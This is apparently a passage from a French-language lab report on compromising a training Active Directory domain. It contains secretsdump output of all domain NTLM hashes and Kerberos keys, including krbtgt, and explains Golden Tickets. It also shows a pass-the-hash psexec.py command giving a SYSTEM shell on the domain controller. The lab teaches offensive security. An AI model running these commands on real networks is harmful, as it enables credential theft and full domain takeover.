NL$KM:5e87130034efbc060231dca606a2ab40bee427314e2862a64390f4945c9bce2c5f7ae610e1ffd0ace16a85712a4448c2677de67361139387
[*] _SC_MSSQLSERVER
msql@secure.com:Friendship5
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
```



```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c64773ccfcae6baa4e53bb5d12d8dc11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f18d4679d455ea67ef09aab104e766c:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
secure.com\jcode:1150:aad3b435b51404eeaad3b435b51404ee:77bf1563b7ed9d2c2a6df0c360aa4750:::
secure.com\atrusionsos1:1151:aad3b435b51404eeaad3b435b51404ee:5ff4f288f531d0fb4b317208f3917ed9:::
secure.com\atrusionehk1:1152:aad3b435b51404eeaad3b435b51404ee:29947e9c2d0e7f28113154c51a8ca523:::
secure.com\atrusionsos2:1153:aad3b435b51404eeaad3b435b51404ee:9654ba49a2a50f11786dc05a8c3630b7:::
secure.com\atrusionehk2:1154:aad3b435b51404eeaad3b435b51404ee:864305bfc0dca97a3a8baa8c69d0a076:::
secure.com\atrusionsos3:1155:aad3b435b51404eeaad3b435b51404ee:69a5619aaa221d803fa458b63091815d:::
secure.com\atrusionehk3:1156:aad3b435b51404eeaad3b435b51404ee:4f76579b77e5deeba2ba74b5f45e3f61:::
secure.com\atrusionsos4:1157:aad3b435b51404eeaad3b435b51404ee:8d78b56389ca81ff717b54324c4ebda7:::
secure.com\atrusionehk4:1158:aad3b435b51404eeaad3b435b51404ee:4049e979e2bf70cd10c44a138790379e:::
secure.com\atrusionsos5:1159:aad3b435b51404eeaad3b435b51404ee:f6f9b2a4c80e8fb84b06f8797e49f550:::
secure.com\atrusionehk5:1160:aad3b435b51404eeaad3b435b51404ee:1ab74cb780cd13c5a185f6ad07cd3c66:::
secure.com\atrusionsos6:1161:aad3b435b51404eeaad3b435b51404ee:f778172932497c67262fea844853e835:::
secure.com\atrusionehk6:1162:aad3b435b51404eeaad3b435b51404ee:e3ef9f7c7face664a135a4d6e8edb081:::
secure.com\atrusionsos7:1163:aad3b435b51404eeaad3b435b51404ee:ffd0f62cf69ef6915375c77865c84f10:::
secure.com\atrusionehk7:1164:aad3b435b51404eeaad3b435b51404ee:8f78f427ceb32d700c3be9124deac432:::
secure.com\atrusionsos8:1165:aad3b435b51404eeaad3b435b51404ee:37cf9b3755fce35fbb63b6bb6cd4a215:::
secure.com\atrusionehk8:1166:aad3b435b51404eeaad3b435b51404ee:d7af79401923ba147999cc34c682cf3d:::
secure.com\atrusionsos9:1167:aad3b435b51404eeaad3b435b51404ee:bc1f2f884d9b5a726a87dc775122b648:::
secure.com\atrusionehk9:1168:aad3b435b51404eeaad3b435b51404ee:2d62e856de7827481d3285f3a67c514b:::
secure.com\atrusionsos10:1169:aad3b435b51404eeaad3b435b51404ee:af1e09c8b58e2f6adaa2cae8d81b8565:::
secure.com\atrusionehk10:1170:aad3b435b51404eeaad3b435b51404ee:eb4a67a00e4a52760dc7a6ed4540a16a:::
secure.com\atrusionsos11:1171:aad3b435b51404eeaad3b435b51404ee:721afef63c20e60a0b34b9863bf2b90:::
secure.com\atrusionehk11:1172:aad3b435b51404eeaad3b435b51404ee:0ac6f2aa753fa410ff6e7f10eb6ca8fa:::
secure.com\atrusionsos12:1173:aad3b435b51404eeaad3b435b51404ee:076e75d3e74e1ec8493ccd671bb31552:::
secure.com\atrusionehk12:1174:aad3b435b51404eeaad3b435b51404ee:097629d0cb2217c6afa305ef47daf83a:::
secure.com\atrusionsos13:1175:aad3b435b51404eeaad3b435b51404ee:74a816aefc61634fdaf9d7f3c463d3ea:::
secure.com\atrusionehk13:1176:aad3b435b51404eeaad3b435b51404ee:03ec2502c8a98e1e465820d558ccbfd2:::
secure.com\atrusionsos14:1177:aad3b435b51404eeaad3b435b51404ee:4c0b960fb73d9e63f5a1c383c5609c24:::
secure.com\atrusionehk14:1178:aad3b435b51404eeaad3b435b51404ee:4c11b65044b50399f1feb3d2c87312a:::
secure.com\atrusionsos15:1179:aad3b435b51404eeaad3b435b51404ee:5c5dd6bcbab6aea3abf2739c11bd58f6f:::
secure.com\atrusionehk15:1180:aad3b435b51404eeaad3b435b51404ee:6b5a3e7b864a25a12cfed1295fb4ae91:::
secure.com\atrusionsos16:1181:aad3b435b51404eeaad3b435b51404ee:a961bb77d747b9eb4c25c90cc16f56c4:::
secure.com\atrusionehk16:1182:aad3b435b51404eeaad3b435b51404ee:a1da046f062520cf253bd0513b649d1:::
secure.com\atrusionsos17:1183:aad3b435b51404eeaad3b435b51404ee:3f2e52207f344066f452a73e378dee4c:::
secure.com\atrusionehk17:1184:aad3b435b51404eeaad3b435b51404ee:f4833e1bba2fef354bbb03cf8bab8adf:::
secure.com\atrusionsos18:1185:aad3b435b51404eeaad3b435b51404ee:305a6cdf986bdf8d5a5b93ce8418124:::
secure.com\atrusionehk18:1186:aad3b435b51404eeaad3b435b51404ee:7bfe3526bbf84e743c7b850ee63ff7ed:::
secure.com\atrusionsos19:1187:aad3b435b51404eeaad3b435b51404ee:bd8f72e2de9036a22278ad3ce4d89910:::
secure.com\atrusionehk19:1188:aad3b435b51404eeaad3b435b51404ee:8f18693566ee44ab3d1e3ca396a450da:::
secure.com\atrusionsos20:1189:aad3b435b51404eeaad3b435b51404ee:416bd82492690f049d0ccedf75ea49a5:::
secure.com\atrusionehk20:1190:aad3b435b51404eeaad3b435b51404ee:50ad4497d0dcf4b4853c4827d1ca9f92:::
secure.com\msql:1191:aad3b435b51404eeaad3b435b51404ee:738a1247708dcd8e15876d2be7525033:::
secure.com\mrosoft:1192:aad3b435b51404eeaad3b435b51404ee:0976528c66809586fb2db6da26ca975e:::
DC01$:1001:aad3b435b51404eeaad3b435b51404ee:8a83bbd521e1e92758f50dde8ba46963:::
WIN10$:1194:aad3b435b51404eeaad3b435b51404ee:d544fc3492fc259a87f7f1f370916f18:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:105dece47b06748a324afce38fe12dec76e5a268ddcb6a04f91e8a0d0c58691f
krbtgt:aes128-cts-hmac-sha1-96:3c0d39b698fd640737230a4972f85a61
krbtgt:des-cbc-md5:c858465e5ec838b3
secure.com\jcode:aes256-cts-
hmac-sha1-96:5bf6bb0890f144d701aafc355e9a6f614df76d50bafb707d60fce09276d5cc6d
```

```
secure.com\jcode:aes128-cts-hmac-sha1-96:05211fa2ff240eac22cdba97b1ae398d
secure.com\jcode:des-cbc-md5:a4b5bc8c048c62bc
secure.com\atrusionsos1:aes256-cts-
hmac-sha1-96:722e43a22cb91f1668db955e63b8bfd95b09a2dc84603793c23d0842e27d2fb
secure.com\atrusionsos1:aes128-cts-hmac-sha1-96:87f25a7ed2cce286c4460d44f6ff0d1c
secure.com\atrusionsos1:des-cbc-md5:299bfdeaec19256e
secure.com\atrusionehk1:aes256-cts-
hmac-sha1-96:cac409b7185fb5fe2c2d62aaa2c158d0c8e52e774687c31140a408c4cf41e89d
secure.com\atrusionehk1:aes128-cts-hmac-sha1-96:6256458835269733939b90256d4a8d28
secure.com\atrusionehk1:des-cbc-md5:1057e0bacb7a0d85
secure.com\atrusionsos2:aes256-cts-
hmac-sha1-96:3aa075f6a177af4df45d88e3524b91f5bb391d958b527d89ec112ff0705266a2
secure.com\atrusionsos2:aes128-cts-hmac-sha1-96:6f6f79eb93c52c6d90d8235a0b35bccf
secure.com\atrusionsos2:des-cbc-md5:51ae643e4a251c64
secure.com\atrusionehk2:aes256-cts-
hmac-sha1-96:eb409ec49fc6b08ba1bf50cab43ff0e0c68a65e47d97fd8282ab938bcc8bb397
secure.com\atrusionehk2:aes128-cts-hmac-sha1-96:9527ffda0dd9f4ad6b0428006474a8f1
secure.com\atrusionehk2:des-cbc-md5:80dff646ead3e52a
secure.com\atrusionsos3:aes256-cts-
hmac-sha1-96:d18e18e7034eeee38ed130465db7ddf2f9675a55df01609c9832bcfd22dcba9c
secure.com\atrusionsos3:aes128-cts-hmac-sha1-96:31a482f14432f2837acf33b00bd80d01
secure.com\atrusionsos3:des-cbc-md5:31861364e67ccd7a
secure.com\atrusionehk3:aes256-cts-
hmac-sha1-96:8d4240e9d236f63381193a3eafb5554ac8c7b3674c4074d997c20ccdc3e13ef7
secure.com\atrusionehk3:aes128-cts-hmac-sha1-96:65a0b09be65c9d215d89bd5b6a8340fd
secure.com\atrusionehk3:des-cbc-md5:2631ad085d028383
secure.com\atrusionsos4:aes256-cts-
hmac-sha1-96:a1c30b1c7b2c2a8aba5b4c1294606816162858ce6eaaaf45d7ba75533be01bc56
secure.com\atrusionsos4:aes128-cts-hmac-sha1-96:ae1fbab8ba072c45b35cc599d8600cd6
secure.com\atrusionsos4:des-cbc-md5:9238d3838a574602
secure.com\atrusionehk4:aes256-cts-
hmac-sha1-96:0b363615e02713b0be58af0d8bfd535d81395cf70407db7c2654f341fa7f70cd
secure.com\atrusionehk4:aes128-cts-hmac-sha1-96:88508643ffda0603747b7cc019879a5e
secure.com\atrusionehk4:des-cbc-md5:67f8ad407a9da770
secure.com\atrusionsos5:aes256-cts-
hmac-sha1-96:f9550ad957e3a798851e1a75d092e0a95a5789ba192b94b559ff8cf1b7140a08
secure.com\atrusionsos5:aes128-cts-hmac-sha1-96:334e12106613f64818b78a2447102739
secure.com\atrusionsos5:des-cbc-md5:58202f6e34b0b516
secure.com\atrusionehk5:aes256-cts-
hmac-sha1-96:ba181a1c1dd8af03ccedafa38e96809a10573eb05f892f9f9a849e412aa5b8ea
secure.com\atrusionehk5:aes128-cts-hmac-sha1-96:8423824e82112ac2c233bf4e6e6afa1d
secure.com\atrusionehk5:des-cbc-md5:757c323ea44c4fa1
secure.com\atrusionsos6:aes256-cts-
hmac-sha1-96:92e58219cd20f514dfeaf41aa466cbe3910b153fcaeea36d79cece188ccefc48
secure.com\atrusionsos6:aes128-cts-hmac-sha1-96:ae0f36606bf241fa4ccd27ec4418826a
secure.com\atrusionsos6:des-cbc-md5:6bbf378a15bc3220
secure.com\atrusionehk6:aes256-cts-
hmac-sha1-96:3d197cbdfa3bf1efb1e9f868bb6a78ca0eca4c1e65ce86ce6ede2461b049fe16
secure.com\atrusionehk6:aes128-cts-hmac-sha1-96:edf5a06d8e5d3910113ba35eb436c428
secure.com\atrusionehk6:des-cbc-md5:61ec91eacbd08ab0
secure.com\atrusionsos7:aes256-cts-
hmac-sha1-96:c7670ef50ff799e28589a75dba7fac28819da64787fb68cbb1320f0d056b4b4f
secure.com\atrusionsos7:aes128-cts-hmac-sha1-96:d11a0a190bf925728d003aa170ed2845
secure.com\atrusionsos7:des-cbc-md5:32e5011a86612ff1
secure.com\atrusionehk7:aes256-cts-
hmac-sha1-96:6eeff1587e4e0cdc3e782fae6a0020c040fe38898add23919fffefff52414d8e
```

```
secure.com\atrusionehk7:aes128-cts-hmac-sha1-96:7d2d7229534bb8f554aaf7bf29b04b45
secure.com\atrusionehk7:des-cbc-md5:ea79490758e6ab5b
secure.com\atrusionsos8:aes256-cts-
hmac-sha1-96:4b127f0e2a7a631f2a892602d90e0ddadeb1beeee4940ed4f6c40d88364f2dba
secure.com\atrusionsos8:aes128-cts-hmac-sha1-96:025758b9f6725a98148b44d5f6ba566d
secure.com\atrusionsos8:des-cbc-md5:f723bc6e85ba5429
secure.com\atrusionehk8:aes256-cts-
hmac-sha1-96:e22317c04740d5de403b3920e1452096e10c47ed30c9593d97c56b9acbb62034
secure.com\atrusionehk8:aes128-cts-hmac-sha1-96:f4398b28b48bc2f12a9a4dfb12f68a11
secure.com\atrusionehk8:des-cbc-md5:fd6d806210983df1
secure.com\atrusionsos9:aes256-cts-
hmac-sha1-96:ca04186b2cda85dae39d83cdeb1ab730b72b6259b7611443e71525c9ed40d1f2
secure.com\atrusionsos9:aes128-cts-hmac-sha1-96:ec48ccde0b3432e535ea4613ef71142b
secure.com\atrusionsos9:des-cbc-md5:3d8661a4083b7cfe
secure.com\atrusionehk9:aes256-cts-
hmac-sha1-96:3370dd5803c709113f1f8c76bfd04871a46ede589c4995d2d68fe263534f0676
secure.com\atrusionehk9:aes128-cts-hmac-sha1-96:0ca441bd481d6559352254632f369597
secure.com\atrusionehk9:des-cbc-md5:022a0813ade951ea
secure.com\atrusionsos10:aes256-cts-
hmac-sha1-96:c89b221c80922235e4cd7180e895ae8fb2563479431893361cf2953d76c2d9df
secure.com\atrusionsos10:aes128-cts-hmac-sha1-96:0a1a26301da7d68987afb038d5447955
secure.com\atrusionsos10:des-cbc-md5:0e13f8cb0b8946e3
secure.com\atrusionehk10:aes256-cts-
hmac-sha1-96:bf59ba9bbd0a74b1b6a7b12d043371f345aa8db538b48f6466a51645cb10d15f
secure.com\atrusionehk10:aes128-cts-hmac-sha1-96:141a7906c00d487aec658d655665383b
secure.com\atrusionehk10:des-cbc-md5:79bf3dbae5f415f1
secure.com\atrusionsos11:aes256-cts-
hmac-sha1-96:7555766319e3178d87e83a44b1d0b90e01d16792169f0aa37b92a9cfc66547fc
secure.com\atrusionsos11:aes128-cts-hmac-sha1-96:ebc62b83100870de696cba64db9a3213
secure.com\atrusionsos11:des-cbc-md5:b3c7a4c401349da8
secure.com\atrusionehk11:aes256-cts-
hmac-sha1-96:26258db9bf339166b327788d0c733205eb631ee08afa7a590f4fad39db836647
secure.com\atrusionehk11:aes128-cts-hmac-sha1-96:bf19352bce5f6a128e9737e1c723fd1e
secure.com\atrusionehk11:des-cbc-md5:754038c4fe5d0215
secure.com\atrusionsos12:aes256-cts-
hmac-sha1-96:89609f30f17653a9fdb73a4ebabebef5188c103197f3f7c0330b7d974041e9ce
secure.com\atrusionsos12:aes128-cts-hmac-sha1-96:9f29cc0b99abe98bfe7915335a45a54f
secure.com\atrusionsos12:des-cbc-md5:10e64a19abdc7ae3
secure.com\atrusionehk12:aes256-cts-
hmac-sha1-96:ddac9ba6085b92bfe451861d783f686b5f018062aa3bf18c04caadfc6efd3cb2
secure.com\atrusionehk12:aes128-cts-hmac-sha1-96:775f62f6dad4cb2f61f410b85592dc8b
secure.com\atrusionehk12:des-cbc-md5:6201b3e3b5abc164
secure.com\atrusionsos13:aes256-cts-
hmac-sha1-96:4a04370e771331af88f686494ff0d27734676c9b3f836fa3bd0a8d4f0588c332
secure.com\atrusionsos13:aes128-cts-hmac-sha1-96:e4148e62a2409307b2fa0b25d058fbee
secure.com\atrusionsos13:des-cbc-md5:4907f2c22013aeef
secure.com\atrusionehk13:aes256-cts-
hmac-sha1-96:a7e44ddc48d5bb8d15ef4c292059401f01e91107a0836b96ce72686b5a540df5
secure.com\atrusionehk13:aes128-cts-hmac-sha1-96:3b1d95a8aad7181692fa4b7e9d55cdda
secure.com\atrusionehk13:des-cbc-md5:adaee33b2abf7f13
secure.com\atrusionsos14:aes256-cts-
hmac-sha1-96:e38e3bcd268b86706314f7ca6065457545a57e683dbd8f9c5d74f88b66756a74
secure.com\atrusionsos14:aes128-cts-hmac-sha1-96:2802507c8bcf634a32b486d72c4c7a88
secure.com\atrusionsos14:des-cbc-md5:6e2fd04f61b0c276
secure.com\atrusionehk14:aes256-cts-
hmac-sha1-96:b62f7fcf82806b70a05a16001b0dfbc79db2dbe4eca04d64841d8deee2499f70
```

```
secure.com\atrusionehk14:aes128-cts-hmac-sha1-96:9a2b0c506f08043780cd035f1197aafa
secure.com\atrusionehk14:des-cbc-md5:1364bcabc4436151
secure.com\atrusionsos15:aes256-cts-
hmac-sha1-96:5143cca4c24d38a137230a470c4b13cafeab7d7573875b1c391805c3fc22668b
secure.com\atrusionsos15:aes128-cts-hmac-sha1-96:7ed6ea04b8bcb6dc9d6aa9c7906a1d96
secure.com\atrusionsos15:des-cbc-md5:6b2a6d971cf46d29
secure.com\atrusionehk15:aes256-cts-
hmac-sha1-96:d1a963091ffa7accaa71cb712d88f8b89785a5b093c63704c782bf01735c669d
secure.com\atrusionehk15:aes128-cts-hmac-sha1-96:05b76d682c8b880c0133fc9e7a07f9c3
secure.com\atrusionehk15:des-cbc-md5:98571aefe943f892
secure.com\atrusionsos16:aes256-cts-
hmac-sha1-96:4f03e90e0168b2f2ff5da97eddabfbd5c40a3a72193a86dd8397fc8118d3de8c
secure.com\atrusionsos16:aes128-cts-hmac-sha1-96:921dca3521da20b9abb9e676c98d90b7
secure.com\atrusionsos16:des-cbc-md5:0849a8259dfbdc15
secure.com\atrusionehk16:aes256-cts-
hmac-sha1-96:0dc70e360079a8db2a52e835563cb327a44c568544690f98810a93e42c503dc
secure.com\atrusionehk16:aes128-cts-hmac-sha1-96:7d0c6264d92ee43a85a5fc0759aa070a
secure.com\atrusionehk16:des-cbc-md5:7557c7ea89c72a91
secure.com\atrusionsos17:aes256-cts-
hmac-sha1-96:4e08bd5610dff88eb568f202ad7572503943f21bef1081ac1bdd0ea544f2b225
secure.com\atrusionsos17:aes128-cts-hmac-sha1-96:8210a0d463b257a7c638c27f692eacef
secure.com\atrusionsos17:des-cbc-md5:8a674029d979cb2a
secure.com\atrusionehk17:aes256-cts-
hmac-sha1-96:f8354649825b6457f56027cec7454a5cf47d0b864960ad2bad8907cc187ee320
secure.com\atrusionehk17:aes128-cts-hmac-sha1-96:93b7794769fd632a5a1a46dd7e0b9f96
secure.com\atrusionehk17:des-cbc-md5:544ce9e645b34f43
secure.com\atrusionsos18:aes256-cts-
hmac-sha1-96:0b3e020a5f8f53221e0e1e827c3399e6df37d42c8c585e921cda85ec17353279
secure.com\atrusionsos18:aes128-cts-hmac-sha1-96:88be291035c997be9f2b26708fc1358c
secure.com\atrusionsos18:des-cbc-md5:86a7dc9e89d5c2d0
secure.com\atrusionehk18:aes256-cts-
hmac-sha1-96:4075d544a1f5c24c0b34fc4a02e619dc8f0f3bb79f6ccd2e6800eb2ade84de09
secure.com\atrusionehk18:aes128-cts-hmac-sha1-96:da7bd1ba1038be191ea13e1b8ac97cd8
secure.com\atrusionehk18:des-cbc-md5:5bda796bb0f83129
secure.com\atrusionsos19:aes256-cts-
hmac-sha1-96:f2293c52e5157dbba3f46d8c2a36e49bf3e8091f839f55ba8cc9702d81c3b9c6
secure.com\atrusionsos19:aes128-cts-hmac-sha1-96:6e22cd9917ceaffbd2f9c4363ea3d6ef
secure.com\atrusionsos19:des-cbc-md5:980470a76d109d5d
secure.com\atrusionehk19:aes256-cts-
hmac-sha1-96:ab4e4c55a23a06663e7fb09c93e90761fa4d6b4daa47d64c169c764b5fb64fb8
secure.com\atrusionehk19:aes128-cts-hmac-sha1-96:b0fc7e3769f005ff08296ddfd8b6520d
secure.com\atrusionehk19:des-cbc-md5:85200789b5f12598
secure.com\atrusionsos20:aes256-cts-
hmac-sha1-96:d2c4911f78df3c334afd5d050eebe411d6ccd03e95ec2e15d48137b4de26f5d3
secure.com\atrusionsos20:aes128-cts-hmac-sha1-96:b3959e089f429b5415c54518939c24d9
secure.com\atrusionsos20:des-cbc-md5:f720abc4e3135b04
secure.com\atrusionehk20:aes256-cts-
hmac-sha1-96:49d3c382268628577fdc53de1fbeaf4ef1802c1d5f8da5afa8ec730840b10d6b
secure.com\atrusionehk20:aes128-cts-hmac-sha1-96:fcbb127b9b410f1d2e576a50bb1e6496
secure.com\atrusionehk20:des-cbc-md5:efdc2c3db5efa85e
secure.com\mysql:aes256-cts-hmac-sha1-96:93628906c08e49daf0362b519a9ede184f42b65b99dc46d55d5935c65109cc76
secure.com\mysql:aes128-cts-hmac-sha1-96:fede4dd5e9ba08b3b643a4ea27cd2cca
secure.com\mysql:des-cbc-md5:dc2349511f79cd85
secure.com\microsoft:aes256-cts-
hmac-sha1-96:f78e48b0a1b4655f05a547f4aeab0a6e64ef5a3aa490a94f02cf38e9272ab507
secure.com\microsoft:aes128-cts-hmac-sha1-96:6bca5928bc4b8e26c3e5cb51ba4ec805
```

```

secure.com\mrosoft:des-cbc-md5:85d0ada47ffe2c9b
DC01$:aes256-cts-hmac-sha1-96:fb07c1f2ffe90aa8a942365092a6d2188e6b79f9e3f7a32e7d8150972e1e562b
DC01$:aes128-cts-hmac-sha1-96:99f2b7478d343b812492a9b486015349
DC01$:des-cbc-md5:9d34f78645d05e3e
WIN10$:aes256-cts-hmac-sha1-96:2867ea3edbfcc614b3b5a1942ff85e6f1709f95f4c5ee5d53ef70f7ff1f5c160
WIN10$:aes128-cts-hmac-sha1-96:1e98728bc9c31bb58add268018508086
WIN10$:des-cbc-md5:891c868c45df4697
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to
a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x7f277c5c8430>
Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/impacket/winregistry.py", line 185, in __del__
  File "/usr/local/lib/python3.10/dist-packages/impacket/winregistry.py", line 182, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 1356, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 473, in sendSMB
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 442, in signSMB
  File "/usr/local/lib/python3.10/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/usr/local/lib/python3.10/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x7f277c5c8430>
Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/impacket/winregistry.py", line 185, in __del__
  File "/usr/local/lib/python3.10/dist-packages/impacket/winregistry.py", line 182, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 1356, in close
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 473, in sendSMB
  File "/usr/local/lib/python3.10/dist-packages/impacket/smb3.py", line 442, in signSMB
  File "/usr/local/lib/python3.10/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/usr/local/lib/python3.10/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'
IICT-MV473-UbuntuServerSOS24%

```

11.1 P29: Pour quels nouveaux utilisateurs interactifs (i.e., en excluant les comptes techniques, services et machines) avez-vous réussi à obtenir un hash ? ☉

Nouvel utilisateur interactif découvert :

- jcode (RID 1150)
 - NTLM: 77bf1563b7ed9d2c2a6df0c360aa4750
 - Utilisateur standard du domaine

Extrait du dump:

```
secure.com\jcode:1150:aad3b435b51404eeaad3b435b51404ee:77bf1563b7ed9d2c2a6df0c360aa4750:::
```

Note: Les autres utilisateurs (atrusionsosX et atrusionehkX) étaient déjà connus via l'attaque ASREProasting (P3). Le compte jcode est le seul nouvel utilisateur interactif découvert lors du dump du DC.

11.2 P30: Pour quel compte technique hautement sensible avez-vous pu également récupérer le hash ? ☹

Compte technique hautement sensible : krbtgt (RID 502)

Hashes récupérés:

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f18d4679d455ea67ef09aab104e766c:::
```

Clés Kerberos:

```
krbtgt:aes256-cts-hmac-sha1-96:105dece47b06748a324afce38fe12dec76e5a268ddcb6a04f91e8a0d0c58691f
krbtgt:aes128-cts-hmac-sha1-96:3c0d39b698fd640737230a4972f85a61
krbtgt:des-cbc-md5:c858465e5ec838b3
```

Criticité: C'est le compte le PLUS sensible du domaine Active Directory!

11.3 P31: A quoi sert ce compte technique hautement sensible ?

Rôle du compte krbtgt:

1. Key Distribution Center (KDC) Service Account
 - Compte de service du contrôleur de domaine pour Kerberos
 - Gère l'authentification Kerberos dans le domaine
2. Signature des TGT (Ticket Granting Tickets)
 - Le hash de krbtgt est utilisé pour chiffrer et signer TOUS les TGT
 - Chaque fois qu'un utilisateur s'authentifie, le DC émet un TGT signé avec la clé krbtgt
3. Implications de la compromission:
 - Permet de forger des Golden Tickets (tickets d'or)
 - Créer des TGT arbitraires pour N'IMPORTE QUEL utilisateur
 - Accorder N'IMPORTE QUELS privilèges (même Domain Admin)
 - Les tickets forgés sont indétectables par le DC (signature valide)
 - Persistance quasi-permanente dans le domaine
4. Durée de vie:
 - Par défaut, le mot de passe de krbtgt n'expire JAMAIS
 - Même après reset du mot de passe Administrator, krbtgt reste compromis
 - Nécessite une procédure spéciale de rotation (2 fois, à 10h d'intervalle)

En résumé: Compromission de krbtgt = Contrôle total et persistant du domaine

11.4 P32: Quel compte interactif est le plus intéressant pour prendre le contrôle du DC ?

Compte le plus intéressant : Administrator (RID 500)

Hash NTLM: c64773ccfcae6baa4e53bb5d12d8dc11

Raisons:

1. Privilèges maximaux:
 - Membre du groupe Domain Admins
 - Contrôle total sur tous les objets du domaine
 - Peut gérer les GPO, les utilisateurs, les services
2. Accès administratif complet:
 - Administration à distance via WinRM, RDP, psexec
 - Accès à tous les shares administratifs (ADMIN, C, SYSVOL)
 - Peut dumper les secrets du domaine (ce qu'on vient de faire)
3. Déjà compromis:
 - Hash récupéré avec Mimikatz (P10)
 - Vérifié avec pass-the-hash (P23-P28)
 - Utilisé pour dumper le DC (P29)

Alternative encore plus puissante: Le compte krbtgt est techniquement plus intéressant car il permet de créer des Golden Tickets, mais krbtgt n'est pas un compte "interactif" - c'est un compte de service. Pour un accès interactif immédiat, Administrator est le choix optimal.

12 Prise de contrôle du DC

Réalisation :

Utiliser un compte capable de prendre le contrôle du DC pour démarrer une session de commande avec psexec.py (qui supporte l'attaque pass-the-hash).

Démarrer un shell de commande à distance :

```
psexec.py <domain>/<username>@<target ip> -hashes <LM hash>:<NTLM hash>
```

Vérifier l'identité, les groupes et privilèges de la session :

```
whoami /user
whoami /groups
whoami /priv
```

Output

```
IICT-MV473-UbuntuServerS0S24% psexec.py SECURE/Administrator@10.190.134.13 -
hashes :c64773ccfcae6baa4e53bb5d12d8dc11
```

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Requesting shares on 10.190.134.13.....
[*] Found writable share ADMIN$
[*] Uploading file zSpAyoX.exe
[*] Opening SVCManager on 10.190.134.13.....
[*] Creating service QAzJ on 10.190.134.13.....
[*] Starting service QAzJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32> whoami /user
```

USER INFORMATION

```
User Name          SID
=====
nt authority\system S-1-5-18
```

```
C:\Windows\system32> whoami /groups
```

GROUP INFORMATION

Group Name	Type	SID
Attributes		
BUILTIN\Administrators	Alias	S-1-5-32-544
Group owner		Enabled by default, Enabled group,
Everyone	Well-known group	S-1-1-0
default, Enabled group		Mandatory group, Enabled by
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11
default, Enabled group		Mandatory group, Enabled by
Mandatory Label\System Mandatory Level		
Label		S-1-16-16384

```
C:\Windows\system32> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description
State	
SeAssignPrimaryTokenPrivilege	Replace a process level token
Disabled	
SeLockMemoryPrivilege	Lock pages in memory
Enabled	
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process
Disabled	
SeTcbPrivilege	Act as part of the operating system
Enabled	
SeSecurityPrivilege	Manage auditing and security log
Disabled	
SeTakeOwnershipPrivilege	Take ownership of files or other objects
Disabled	
SeLoadDriverPrivilege	Load and unload device drivers
Disabled	
SeSystemProfilePrivilege	Profile system performance
Enabled	
SeSystemtimePrivilege	Change the system time
Disabled	
SeProfileSingleProcessPrivilege	Profile single process
Enabled	
SeIncreaseBasePriorityPrivilege	Increase scheduling priority
Enabled	
SeCreatePagefilePrivilege	Create a pagefile
Enabled	
SeCreatePermanentPrivilege	Create permanent shared objects
Enabled	
SeBackupPrivilege	Back up files and directories
Disabled	
SeRestorePrivilege	Restore files and directories
Disabled	
SeShutdownPrivilege	Shut down the system
Disabled	

SeDebugPrivilege	Debug programs
Enabled	
SeAuditPrivilege	Generate security audits
Enabled	
SeSystemEnvironmentPrivilege	Modify firmware environment values
Disabled	
SeChangeNotifyPrivilege	Bypass traverse checking
Enabled	
SeUndockPrivilege	Remove computer from docking station
Disabled	
SeManageVolumePrivilege	Perform volume maintenance tasks
Disabled	
SeImpersonatePrivilege	Impersonate a client after authentication
Enabled	
SeCreateGlobalPrivilege	Create global objects
Enabled	
SeIncreaseWorkingSetPrivilege	Increase a process working set
Enabled	
SeTimeZonePrivilege	Change the time zone
Enabled	
SeCreateSymbolicLinkPrivilege	Create symbolic links
Enabled	
SeDelegateSessionUserImpersonatePrivilege	Obtain an impersonation token for another user in the same session
Enabled	

```
C:\Windows\system32>
```

12.1 P33: Comment pouvions-nous anticiper dès le point 3.9 que l'administration à distance via psexec.py était activée ? ●

Lors du point 3.9 (pass-the-hash), nous avons utilisé smbclient.py pour nous connecter au DC avec le hash de l'Administrator. Cette connexion nous a donné accès aux partages administratifs, notamment **ADMIN\$**.

Le partage **ADMIN\$** est le partage administratif par défaut de Windows qui pointe vers C:\Windows. C'est précisément ce partage que psexec.py utilise pour :

1. Téléverser un exécutable temporaire sur la cible
2. Créer un service Windows pour l'exécuter
3. Démarrer le service et obtenir un shell

